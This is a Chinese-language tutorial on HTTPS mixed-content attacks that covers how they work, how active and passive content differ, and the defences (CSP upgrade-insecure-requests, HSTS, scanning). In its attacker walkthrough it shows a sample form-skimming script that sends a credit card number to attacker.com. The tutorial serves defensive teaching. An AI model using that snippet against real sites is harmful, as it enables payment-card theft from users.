HTTPS混合内容（Mixed Content）攻击原理与防御详解

1. 知识点描述

混合内容（Mixed Content）是指在通过HTTPS加载的初始HTML页面中，通过明文HTTP协议加载了子资源（如脚本、样式表、图片、iframe、音频、视频等）。这种情况破坏了HTTPS页面的整体安全性，为中间人攻击（MITM）打开了缺口，可能导致敏感信息泄露、会话劫持、恶意代码注入等安全风险。根据资源的潜在破坏力，混合内容主要分为两类：被动/显示型混合内容和主动混合内容。

2. 攻击原理与风险分析

HTTPS的设计目标是提供端到端的机密性、完整性和身份验证。混合内容破坏了这一安全模型。

步骤1：理解混合内容的产生场景
当一个用户通过https://example.com访问一个安全页面时，浏览器会与服务器建立加密的TLS连接。如果这个安全页面的HTML源代码中，包含通过明文HTTP协议引用的资源URL（如<script src="http://cdn.example.com/library.js">），浏览器在渲染页面时就必须去加载这些不安全的资源。

步骤2：中间人攻击如何利用混合内容
攻击者（如连接在同一不安全的Wi-Fi网络中的恶意用户）可以监听网络流量。

1. 对于主动混合内容：当浏览器尝试通过HTTP加载一个脚本、样式表或iframe时，这个请求是明文的，不经过TLS加密。攻击者可以：
   • 拦截并篡改响应：将原始的JavaScript库替换为恶意脚本。这个恶意脚本在受害者的浏览器中执行，权限与源https://example.com相同（因为它是被该页面加载的）。恶意脚本可以：
     • 窃取页面中的敏感数据（如表单内容、Cookie）。
     • 重定向用户到钓鱼网站。
     • 记录用户的键盘操作。
   • 阻止加载：使页面功能失效。
2. 对于被动混合内容：如图片、视频、音频。攻击者同样可以拦截和篡改，例如将图片替换为不当内容，但通常无法直接获取页面DOM权限或Cookie。然而，现代浏览器会默认阻止这类内容，因为攻击者仍可能通过替换的图片进行追踪或诱导用户进行不安全操作。

步骤3：核心安全问题

• 完整性破坏：HTTPS保证从服务器到浏览器的内容在传输中不被篡改。混合内容绕过了这一保证，使得关键资源可被第三方修改。
• 安全上下文降级：加载了HTTP资源的页面，其整体安全级别会下降。例如，现代浏览器的许多安全API（如Geolocation、Service Workers）在混合内容上下文中可能被禁用或受限。

3. 混合内容的分类

浏览器根据其危险性进行不同级别的处理：

1. 主动混合内容（Active/Blocked Content）：

   • 定义：能够访问、修改HTTPS页面DOM、Cookie、本地存储等敏感数据的资源。它们具有脚本执行能力或能改变文档结构。
   • 示例：<script>, <link>（样式表）, <iframe>, XMLHttpRequest/fetch请求到HTTP URL, WebSocket连接。
   • 浏览器行为：现代浏览器（如Chrome, Firefox）默认会阻止加载这类资源。控制台会显示错误，如“Mixed Content: The page at 'https://...' was loaded over HTTPS, but requested an insecure script 'http://...'. This request has been blocked; the content must be served over HTTPS.”

2. 被动/显示型混合内容（Passive/Display Content）：

   • 定义：不能直接与页面DOM交互的资源，主要用于显示或播放。
   • 示例：<img>, <audio>, <video>（src属性）, <picture>。
   • 浏览器行为：早期浏览器会加载但显示“不安全”警告（如地址栏锁图标消失）。现代浏览器的趋势也是默认升级请求为HTTPS或直接阻止。例如，Chrome会尝试将http://的图片请求自动升级为https://请求，如果升级失败，则会阻止加载。

4. 循序渐进：攻击者视角的利用过程

假设一个电商网站https://shop.com的支付页面，错误地通过HTTP加载了一个jQuery库。

<!-- 在 https://shop.com/checkout 的页面源码中 -->
<script src="http://cdn.shop.com/jquery.min.js"></script>
<form onsubmit="processPayment()">...信用卡表单...</form>

攻击链：

1. 受害者在咖啡馆连接公共Wi-Fi，访问https://shop.com/checkout。
2. 浏览器解析页面，发现需要从http://cdn.shop.com/jquery.min.js加载脚本。
3. 攻击者在同一网络，启动ARP欺骗或设置恶意AP，成为受害者与网络之间的“中间人”。
4. 当受害者浏览器发送明文HTTP请求去获取jquery.min.js时，请求被攻击者截获。
5. 攻击者不返回真正的jQuery库，而是返回一段精心构造的恶意JavaScript：

   // 恶意脚本示例
   document.querySelector('form').addEventListener('submit', function(e) {
       var creditCard = document.getElementById('credit-card-number').value;
       // 将信用卡号秘密发送到攻击者的服务器
       new Image().src = 'http://attacker.com/steal?data=' + encodeURIComponent(creditCard);
   });
   // 为了让页面看起来正常，可以再加载真正的jQuery（可选）
   

6. 受害者的浏览器执行了恶意脚本。当用户提交支付表单时，信用卡号在HTTPS POST请求发出之前，就已经被窃取并明文发送到攻击者的服务器。
7. 用户可能毫无察觉，因为表单提交本身是HTTPS的，支付流程看似正常完成。

5. 防御措施详解

防御需要从开发、部署、运维全流程入手。

步骤1：开发阶段 - 预防与检测

• 使用相对协议URL（Protocol-relative URL）：（注意：此方法已不再推荐） 过去使用//cdn.example.com/lib.js，它会继承父页面的协议（HTTP或HTTPS）。但它依赖正确的父页面协议，且在某些环境下仍可能退化到HTTP，不推荐作为主要方案。
• 强制使用HTTPS URL：在代码、模板、配置文件中，将所有资源URL写为以https://开头的绝对URL。这是最根本的解决方案。
• 内容安全策略（CSP）：
  • 在HTTP响应头中添加Content-Security-Policy，使用upgrade-insecure-requests指令。
  • 作用：指示浏览器将页面中所有不安全的HTTP请求自动升级为HTTPS请求。如果HTTPS资源不可用，则请求会失败。
  • 示例：Content-Security-Policy: upgrade-insecure-requests
  • 这是一个强大的、声明式的防御手段，是防御混合内容攻击的首选方案。

步骤2：部署与运维阶段

• 确保所有子域名和CDN支持HTTPS：站点的所有资源服务器（如图片服务器、静态资源CDN、API服务器）都必须配置有效的TLS证书，并启用HTTPS服务。
• HTTP严格传输安全（HSTS）：
  • 在响应头中设置Strict-Transport-Security: max-age=31536000; includeSubDomains; preload。
  • 作用：告诉浏览器，在max-age指定的时间内，对该域名及其子域名的所有访问都必须使用HTTPS，即使用户输入的是http://。includeSubDomains确保所有子域名也强制HTTPS，防止资源从子域以HTTP加载。preload可申请加入浏览器内置的HSTS预加载列表，提供首次访问的保护。
  • HSTS是防止SSL剥离和确保整个域名体系强制HTTPS的核心策略，能从根本上杜绝HTTP请求的产生。

步骤3：自动化检测与监控

• 浏览器开发者工具：现代浏览器的Console和Network面板会明确标识和阻止混合内容，开发者应定期使用。
• 安全扫描工具：在CI/CD流程中集成安全扫描工具（如OWASP ZAP, Burp Suite的被动扫描），自动检测混合内容问题。
• 线上监控：可以使用浏览器真实用户监控（RUM）或合成监控，探测实际用户访问时是否触发了混合内容警告。

总结

混合内容攻击是HTTPS部署不彻底导致的“短板效应”。其核心风险在于主动混合内容，它使得攻击者可以篡改关键资源，从而完全绕过HTTPS的保护。防御的关键在于：

1. 思想转变：认识到“一个页面只要有一个HTTP资源就是不安全的”。
2. 技术手段：综合运用CSP的upgrade-insecure-requests指令和HSTS策略，前者处理页面内的资源，后者强制整个站点的连接安全。
3. 流程保障：将全站HTTPS检查和混合内容扫描纳入开发、测试和上线流程。